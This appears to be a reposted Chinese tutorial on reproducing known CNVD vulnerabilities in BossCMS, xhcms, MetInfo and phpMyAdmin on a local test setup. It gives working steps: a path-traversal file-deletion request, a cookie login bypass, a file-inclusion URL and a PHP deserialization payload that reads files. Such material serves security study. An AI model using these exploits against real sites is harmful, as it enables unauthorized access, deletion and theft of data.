PHP项目&变量覆盖&反序列化&未授权访问&身份验证

这篇具有很好参考价值的文章主要介绍了PHP项目&变量覆盖&反序列化&未授权访问&身份验证。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

CNVD拿1day-验证&未授权-xhcms&Bosscms

此种漏洞由于没有什么关键函数,所以需要通过功能点去进行测试。

Bosscms未授权访问

CNVD官网上搜索Bosscms未授权访问漏洞。
PHP项目&变量覆盖&反序列化&未授权访问&身份验证
根据描述,影响的是1.0版本。看到发送时间为21年12月29好,收录时间为22年1月18号。再去官网看版本更新的时间点,V1.0版本和V1.1版本都是21年12月29号之前推出的,都存在未授权访问漏洞,而V1.2版本的更新日志中提到了修复已知漏洞,发布时间为22年1月11号,所以根据这两个版本代码之间的区别来判断哪里存在未授权访问漏洞。
PHP项目&变量覆盖&反序列化&未授权访问&身份验证
PHP项目&变量覆盖&反序列化&未授权访问&身份验证
通过Beyond Compare软件打开两个版本的源代码,比较之后发现在/system/basic/class/admin.class.php文件中存在区别。
PHP项目&变量覆盖&反序列化&未授权访问&身份验证
V1.2版本的在登录功能加了一个判断和一个die语句,说明在V1.0版本的admin.class.php文件中存在未授权访问。但在admin文件中没找到什么功能,那么下一步就可以查找有没有哪些文件继承了admin.class.php文件,只要继承了,也会存在未授权访问漏洞。找到一个backup.class.php文件,存在文件删除功能。
PHP项目&变量覆盖&反序列化&未授权访问&身份验证
抓包看下删除的逻辑。
PHP项目&变量覆盖&反序列化&未授权访问&身份验证

点击查看代码
POST /admin/?mold=safe&part=backup&func=delete&id=20240204150801xj3p65.sql HTTP/1.1
Host: 127.0.0.1:8089
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------205646219912454451722833187453
Content-Length: 240
Origin: http://127.0.0.1:8089
Connection: close
Referer: http://127.0.0.1:8089/admin/?mold=safe&part=backup&func=table&lang=1
Cookie: PHPSESSID=dork7e7l4fjdnuhboikp8qh2i2
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: iframe
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

-----------------------------205646219912454451722833187453
Content-Disposition: form-data; name="url"

http://127.0.0.1:8089/admin/?mold=safe&part=backup&func=table&lang=1
-----------------------------205646219912454451722833187453--

id就是删除的文件名。故在根目录新建一个1.txt文件,看能否删除。
PHP项目&变量覆盖&反序列化&未授权访问&身份验证
给id传参../../../1.txt,url随便传参什么,删除成功。
PHP项目&变量覆盖&反序列化&未授权访问&身份验证
PHP项目&变量覆盖&反序列化&未授权访问&身份验证

xhcms验证逻辑缺陷

cnvd官网上搜索相关漏洞。
PHP项目&变量覆盖&反序列化&未授权访问&身份验证
进入后台界面,根据url找到对应的文件。
PHP项目&变量覆盖&反序列化&未授权访问&身份验证
PHP项目&变量覆盖&反序列化&未授权访问&身份验证
r=index,需要到files目录下找index.php文件。
PHP项目&变量覆盖&反序列化&未授权访问&身份验证
包含两个文件,有一个文件根据名字就知道是检查登录的,看一下该文件。
PHP项目&变量覆盖&反序列化&未授权访问&身份验证
只需要满足cookie中的user字段有值即可,故很好绕过。先退出登录,直接访问http://127.0.0.1:8085/admin/?r=index,cookie传参user=1。
PHP项目&变量覆盖&反序列化&未授权访问&身份验证
成功登录。
PHP项目&变量覆盖&反序列化&未授权访问&身份验证

CNVD拿1day-变量覆盖引发文件包含-MetInfo

根据官网搜索Metinfo存在文件包含漏洞。
PHP项目&变量覆盖&反序列化&未授权访问&身份验证
文件包含漏洞涉及到的关键函数有以下四个:require、require_once、include、include_once。随便翻看了下源代码,发现代码中使用的都是require_once函数。如果有文件包含漏洞,则肯定有变量,搜索"require_once $"。
PHP项目&变量覆盖&反序列化&未授权访问&身份验证
一个一个查看,看看哪里能用。发现这几个代码都很相似。
PHP项目&变量覆盖&反序列化&未授权访问&身份验证
img/index.php中还包含了两个文件,一个是include/module.php,另一个是$module。因为$module不知道是哪里来的,所以先看看include/module.php。
PHP项目&变量覆盖&反序列化&未授权访问&身份验证
$module是从include/module.php文件中定义的,如果想要实现任意文件包含,我们就得控制$module。再往上看,发现include/module.php包含了include/common.inc.php,看一下include/common.inc.php源码。
PHP项目&变量覆盖&反序列化&未授权访问&身份验证
存在变量覆盖漏洞。

点击查看代码
$_request=_COOKIE、_POST、_GET
$$_request=$_COOKIE、$_POST、$_GET
$_key就是三种传参方式的传参名
$_value就是三种传参方式的传参值
所以可以通过该代码实现变量覆盖。

先来理一下利用链。
img/index.php($fmodule=5) -> include/common.inc.php(变量覆盖漏洞,将module赋值为我们想要包含的文件) -> include/module.php(如果$fmodule!=7则会对$module重新赋值,所以必须要让$fmodule=7才可以)
在根目录下新建一个1.txt文件,目标就是包含该文件执行phpinfo函数。触发地址:img/index.php?fmodule=7&module=../1.txt。
PHP项目&变量覆盖&反序列化&未授权访问&身份验证

CNVD拿1day-反序列化引发读取-phpMyAdmin

根据官网搜索phpMyAdmin存在unserialize远程代码执行漏洞。
PHP项目&变量覆盖&反序列化&未授权访问&身份验证
打开源代码搜索unserialize关键字,只有两处。
PHP项目&变量覆盖&反序列化&未授权访问&身份验证
两处代码如下。
PHP项目&变量覆盖&反序列化&未授权访问&身份验证
PHP项目&变量覆盖&反序列化&未授权访问&身份验证
明显第一处更好触发,故选择第一处触发。反序列化漏洞中unserialize函数在执行的时候会自动执行__wakeup魔术方法,搜索哪里有__wakeup函数。在libraries/Config.class.php文件中找到一处比较好的。
PHP项目&变量覆盖&反序列化&未授权访问&身份验证
看看load函数和getSource函数是什么作用。
PHP项目&变量覆盖&反序列化&未授权访问&身份验证
PHP项目&变量覆盖&反序列化&未授权访问&身份验证
可以看到load函数有eval命令执行函数,getSource函数是返回$source。看看$source在哪里定义的。
PHP项目&变量覆盖&反序列化&未授权访问&身份验证
发现这几个方法都是在PMA_Config类中的,所以可以利用反序列化漏洞让$source为我们想要读取的文件。

点击查看代码
利用链:
scripts/setup.php(unserialize函数)   ->    libraries/Config.class.php(PMA_Config类中的__wakeup函数)   ->   libraries/Config.class.php(PMA_Config类中的load函数会调用eval函数,执行file_get_contents函数读取getSource函数返回的值)   ->    libraries/Config.class.php(PMA_Config类中的getSource函数会返回当前类的source变量。

在D盘下新建一个1.txt文件,目标就是利用反序列化漏洞读取1.txt中的内容。
PHP项目&变量覆盖&反序列化&未授权访问&身份验证
生成payload。

点击查看代码
<?php
class PMA_Config{
    var $source = '';
    function __construct(){
        $this->source="d:/1.txt";
    }
}
$a = new PMA_Config();
echo serialize($a);            # O:10:"PMA_Config":1:{s:6:"source";s:8:"d:/1.txt";}


?>

再返回看scripts/setup.php中的unserialize函数如何才能触发。
PHP项目&变量覆盖&反序列化&未授权访问&身份验证
第一个要满足以POST方式向configuration传我们生成的payload即可;第二个要满足以POST方式向action传值,值不能为clear。触发地址:scripts/setup.php。
PHP项目&变量覆盖&反序列化&未授权访问&身份验证
成功读取到。文章来源地址https://www.toymoban.com/news/detail-825306.html

到了这里,关于PHP项目&变量覆盖&反序列化&未授权访问&身份验证的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 基于PHP反序列化练习

     PHP创建一个以自己姓名命名的类,要求存在两个属性,name,age,进行序列化,输出序列化以后的数据。 序列化后数据: 手动修改序列化后的数据实现age年龄+100,输出反序列化后的内容:

    2024年01月23日
    浏览(57)
  • php反序列化漏洞基础

            序列化是将对象或类转换为字符串的过程 ,以便在程序运行过程中对其进行持久化存储或传输的操作。在PHP中,序列化主要用于将类对象或数组转换成字节流的形式,以便于存储在磁盘或传输到其他系统。         通过 序列化,可以将对象或类转换成一串字

    2024年01月20日
    浏览(52)
  • PHP反序列化漏洞-魔术方法绕过

    一、__wakeup()魔法函数绕过: 在PHP中,__wakeup()是一个魔术方法,用于在反序列化对象时自动调用。 当反序列化字符串中的对象属性个数大于实际属性个数时 ,可以利用这个漏洞进行绕过。 触发条件: PHP版本为5.6.25或早期版本,或者PHP7版本小于7.0.10。 反序列化字符串中的对

    2024年01月18日
    浏览(48)
  • 反序列化漏洞及PHP魔法函数

    目录 1、漏洞原理 2、序列化(以PHP语言为例) 3、反序列化 4、PHP魔法函数 (1)__wakeup() (2)__destruct() (3)__construct() (4)__toString() (5)__get() (6)__call() PHP反序列化漏洞也叫PHP对象注入,形成的原因是程序未对用户输入的序列化字符串进行检测,导致攻击者可以控制反

    2024年02月04日
    浏览(51)
  • PHP反序列化漏洞之魔术方法

    PHP魔术方法 (Magic Methods) 是一组特殊的方法,它们在特定的情况下会被自动调用,用于实现对象的特殊行为或提供额外功能。这些方法的名称都以双下划线开头和结尾,例如: __construct() 、 __toString() 等。 魔术方法可以帮助我们实现一些特殊的行为,例如对象的初始化、属性

    2024年02月16日
    浏览(41)
  • 十、pikachu之php反序列化

      在理解这个漏洞前,首先搞清楚php中 serialize() , unserialize() 这两个函数。 (1)序列化 serialize() :就是把一个对象变成可以传输的字符串。比如下面是一个对象: (2)反序列化 unserialize() :就是把被序列化的字符串还原为对象,然后在接下来的代码中继续使用。   序

    2024年02月11日
    浏览(42)
  • 无涯教程-PHP - Filtered反序列化

    PHP 7引入了Filtered unserialize() 函数,以在对不受信任的数据上的对象进行反序列化时提供更好的安全性。 它产生以下浏览器输出- PHP - Filtered反序列化 - 无涯教程网 无涯教程网提供PHP 7引入了Filtered unserialize() 函数,以在对不受信任的数据上的对象进行反序列化... https://www.lea

    2024年02月10日
    浏览(38)
  • PHP反序列化漏洞-字符串逃逸

    字符串逃逸(闭合) 字符串逃逸(闭合)是一种在反序列化函数可控的情况下,通过修改序列化字符串中的敏感字符来达到字符串逃逸的方法。 具体而言,可以通过修改变量名等个数,使得序列化字符串中的字符个数与实际变量值个数不一致 。由于反序列化机制要求字符串

    2024年01月20日
    浏览(51)
  • 两道题浅析PHP反序列化逃逸

    反序列化逃逸 的出现是因为php反序列化函数在进行反序列化操作时,并不会审核字符串中的内容,所以我们可以操纵属性值,使得反序列化提前结束。 反序列化逃逸题 一般都是存在一个filter函数,这个函数看似过滤了敏感字符串,其实使得代码的安全性有所降低;并且分为

    2024年02月05日
    浏览(39)
  • php魔术方法和反序列化漏洞

    漏洞形成的根本原因就是程序没有对用户输入的反序列化字符串进行检测,导致反序列化过程可以被恶意控制,进而造成代码执行、GetShell 等一系列不可控的后果。反序列化漏洞并不是PHP 特有的,也存在于Java、Python 语言中,其原理基本相同。 反序列化是字节流转对象的过程

    2024年02月09日
    浏览(44)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包